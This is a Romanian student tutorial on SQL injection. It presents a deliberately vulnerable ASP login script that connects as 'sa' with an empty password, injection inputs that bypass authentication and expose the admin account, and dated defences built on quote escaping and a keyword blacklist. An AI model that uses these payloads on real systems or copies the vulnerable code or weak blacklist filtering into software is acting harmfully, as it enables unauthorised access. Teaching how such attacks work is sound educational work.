BluePink BluePink
XHost
Gazduire site-uri web nelimitata ca spatiu si trafic lunar la doar 15 eur / an. Inregistrare domenii .ro .com .net .org .info .biz .com.ro .org.ro la preturi preferentiale. Pentru oferta detaliata accesati site-ul BluePink

 

 

 

Atacuri SQL Injection  - Sunteti in siguranta?

 

Autor: Tomoiaga radu-danel& TUrdasan fLorin

 

 

 

Afilierea autorilor : Student Univeristatea “eftimie murgu” resita ,an IV Inginerie economica profil mecanic (IEDM)

Rezumat:Injectie SQl este o tehnica ce permite atacatorului sa execute comenzi SQL in o aplicatie Web dinamica si ii permite acestuia accesul la interogari si totodata la datele ce ar trebui sa fie secretizate.Prin diferite metode un atacator poate pacali aplicatia Web , aceasta crezand de fapt ca datele introduse sunt cele corecte.Metodele de evitare a unor atacuri “injectie SQL”  sunt in principal verifcarea ,validarea si filtrarea cat mai buna a datelor ce sunt introduse prin intermediul formularelor de tip html.Astfel se evita situatiile neplacute de scurgeri de informatii si expuneri nedorite de date.

1. Bazele de date sunt inima celor mai multe aplicatii web : stocheaza datele necesare pentru ca paginile web si aplicatiile sa “supravietuiască” .Stocheză informaţii despre useri si financiare , preferinţe,facturi ,inventar , date, etc. Cu ajutorul combinatiei dintre baza de date  si  limbajelor de scripting web producatorii de pagini web  pot crea pagini care să mulţumească clineţii, să plătescă facturi şi să işi dezvolte afaceri.

            Dar ce se intampla cand realizati ca datele critice nu sunt in siguranta?Ce se intampla cand realizati ca o  noua eroare in programul de securitate a fost descoperita?De cele mai multe ori upgrade-ati serverul de baze de date sau instalati unul nou .Erori de securitate si programe aditionale se gasesc tot timpul si in programe cu baze de date si in limbaje de programare , dar probabil ca 9 persoane din 10 nu au auzit de atacuri prin injectii SQL...

Pe cuprinsul acestui articol vom incerca sa explicam  ce este un astfel de atac , , cum putem preveni un astfel de atac .La sfarsitul articolului veti putea  identifica  situatii in care un atac de tip Injectie SQL este permis, si cand persoane straine pot penetra sistemul folosind aceasta metoda, dar veti putea si preveni o astfel de situatie.

2. Ce este un atac de tip “ SQL Injection” ?

Dupa cum stiti SQL reprezinta “Structured Query Language”. Se gaseste in foarte multe dialecte,multe dintre ele bazandu-se pe SQL-92 ANSI standard. O interogare SQL se compune din una sau mai multe comenzi SQL ,ca de exemplu SELECT, UPDATE sau INSERT. Pentru interogari  SELECT ,fiecare interogare are o clausa tipica prin care returneaza date, ca in exeplu:

SELECT * FROM Users WHERE userName = 'justin';

Clauza din interogarea SQL de mai sus este WHERE username = 'justin', care inseamna ca dorim doar randurile din tabela care au campul username egal cu sirul de caractere justin.

Astfel de interogari deschid calea atacurilor de tip injectie.Dupa cum ii spune numele un atac de tip SQL injection “injecteaza” sau manipuleaza cod.Adaugand interogari neasteptate SQL , este posibil a manipula baza de date in moduri neanticipateUn mod popular de a valida un user pe o pagina web este de a oferi un formular HTML prin care sa se poate introduce user-ul si parola.Sa presupunem ca avem formularul:

<form name="frmLogin" action="login.asp" method="post">
Username: <input type="text" name="userName">
Password: <input type="text" name="password">
<input type="submit">
</form>

Cand formularul este trimis ,continutul campurilor user si parola sunt trimise catre scriptul login.asp ,si sunt disponibile acestui script prin colectia Request.Form .Cel mai usor mode de a valida ar fi sa creem unscript ca cel de mai jos:

<%
dim userName, password, query
dim conn, rS
userName = Request.Form("userName")
password = Request.Form("password")
set conn = server.createObject("ADODB.Connection")
set rs = server.createObject("ADODB.Recordset")
query = "select count(*) from users where userName='" &  
userName & "' and userPass='" & password & "'"
conn.Open "Provider=SQLOLEDB; Data Source=(local);  
Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query
if not rs.eof then
response.write "Logged In"
else
response.write "Bad Credentials"
end if
%>

In exemplul de sus un user  vede "Logged In" daca datele corespund cu cele din baza de date si "Bad Credentials" in caz contrar.Vom crea si baza de date.

create database myDB
go
use myDB
go
create table users
(
userId int identity(1,1) not null,
userName varchar(50) not null,
userPass varchar(20) not null
)
insert into users(userName, userPass) values('john', 'doe')
insert into users(userName, userPass) values('admin', 'wwz04ff')
insert into users(userName, userPass) values('fsmith', 'mypassword')

Daca este introdus userul joe cu parola doe atunci utilizatorul va vedea prezentat "Logged In". Interogarea arata in felul urmator:

select count(*) from users where userName='john' and userPass='doe'

Daca in schimb s-ar fi introdus in campul parola in loc de doe  ' or 1=1 --

Rezultatul interogarii arata astfel:

select count(*) from users where userName='john' and userPass=''  
or 1=1 --'

In exemplul de mai sus se cauta campul user sa corespunda cu john si campul parola sa fie vid sau  daca 1=1 (care este adevarat tot timpul).Se observa introducerea cometariului--.Acesta opreste ASP in actiunea de a returna eroare.

Astfel ne apare "Logged In".Putem proceda mai departe in felul urmator:

Username: ' or 1=1 ---
Password: [Empty]

Acesta va executa interogarea:

select count(*) from users where userName='' or 1=1 --' and userPass=''

Interogarea returneaza numaruld e randuri din tabela user.Aceta este un exemplu prfect de atac prin injectare SQL:Adaugand cod pentru a manipula interogarea pentru a da un rezultat nedorit.Un alt exemplu de a valida un user in tabel este de a compara detaliile din tabel , si a primi un user valid din baza de date ,astfel :

query = "select userName from users where userName='" &  
userName & "' and userPass='" & password & "'"
conn.Open "Provider=SQLOLEDB; Data Source=(local);  
Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query
if not rs.eof then
response.write "Logged In As " & rs.fields(0).value
else
response.write "Bad Credentials"
end if

Daca introducem user john si parola doe vom fi prezentati cu:

Logged In As john

Daca folosim in schimb datele:

Username: ' or 1=1 ---
Password: [Anything]

Atunci vom fi  logati de asemeni cu userul John

3. Exemplu de atac tip injectie

Microsoft SQL Server are propriul dialect, care este numit Transact SQL, sau TSQL pe scurt.Se poate arata ca atacurile injectie SQL sunt  posibile prin TSQL. Vom considera urmatorul exemplu:

select userName from users where userName='' having 1=1

Se stie ca propozitia de mai sus creaza o eroare.Modificam sursa login.asp astfel:

Username: ' having 1=1 ---
Password: [Anything]

Cand trimitem datele prin submit  vom obtine urmatoarea eroare:

Microsoft OLE DB Provider for SQL Server (0x80040E14)

Coloana  'users.userName' este invalida in select deoarece nu contine o functie agregat  si nu exista clauza GROUP BY .

/login.asp, line 16

Se poate folosi cuvantul cheie al serverului SQL LIKE:

Username: ' or users.userName like 'a%' ---
Password: [Anything]

Inca odata se injecteaza interogarea in tabelul users:

select userName from users where userName='' or  
users.userName like 'a%' --' and userPass=''

In exemplul de mai sus se poate cosntata faptul ca se urmareste campul ce incepe cu litera a , in cazul acesta  admin:

Logged In As admin

4. Prevenirea atacurilor SQL Injection

In realizarea designului scripturilor si aplicatiilor , care sa evite atacuri de tip injectie avem urmatoarele posibilitati: (se listeaza toate si se trateaza doar cateva)

Limit User Access, Limit the Length of User Input(nu se trateaza aici)

Escape Quotes

Dupa cum s-a vazut mai inainte majoritatea atacurilor se pot realiza prin citari.Pentru a elimina acest risc se poate scrie un mic script ce reduce numarul citarilor (“ ’ ” , “ ‘’ “) astfel:

<%
function stripQuotes(strWords)
stripQuotes = replace(strWords, "'", "''")
end function
%>

Se foloseste functia stripQuotes:

select count(*) from users where userName='john' and  
userPass='' or 1=1 --'

trece in:

select count(*) from users where userName='john'' and  
userPass=''' or 1=1 --'

Atacul este oprit de clauza  WHERE care cere ca amandoua campuri  userName si userPass sa fie valide.

Remove Culprit Characters/Character Sequences

S-a observat ca anumite caractere  precum ;, --, select, insert si xp_ pot fi folosite pentru a realiza un atac.Eliminand aceste caractere se pot minimiza sansele de a fi supus unui atac SQL.

<%
function killChars(strWords)
dim badChars
dim newChars
badChars = array("select", "drop", ";", "--", "insert",  
"delete", "xp_")
newChars = strWords
for i = 0 to uBound(badChars)
newChars = replace(newChars, badChars(i), "")
next
killChars = newChars
end function
%>

Folosind  stripQuotes in combinatie cu killChars elimina in mare masura sansele de a fi supus uni atac de tip injectie SQL.

5. Concluzie

In acest articol au fost prezentat metode de atac tip injectie SQL si metode de prevenire a acestora.Nu este posibil sa ne pazim impotriva atacurilor injectie SQL , dar , in urma acestui articol poate stiti mai multe despre acest tip de atac.

            6.Bibliografie

http://www.sitepoint.com/article/sql-injection-attacks-safe/

http://www.webcohort.com/web_application_security/research/white_papers/

blindfolded_sql_server_injection.html

http://www.wqlsecurity.com

http://www.ngssoftware.com

http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf
Developing XML Web Services and Server Components with Microsoft Visual Basic.Net and Visual C#.Net MCAD/MCSD Self-Paced Training Kit
Developing Web Server Applications with Microsoft  Asp.Net MCAD/MCSD Self-Paced Training Kit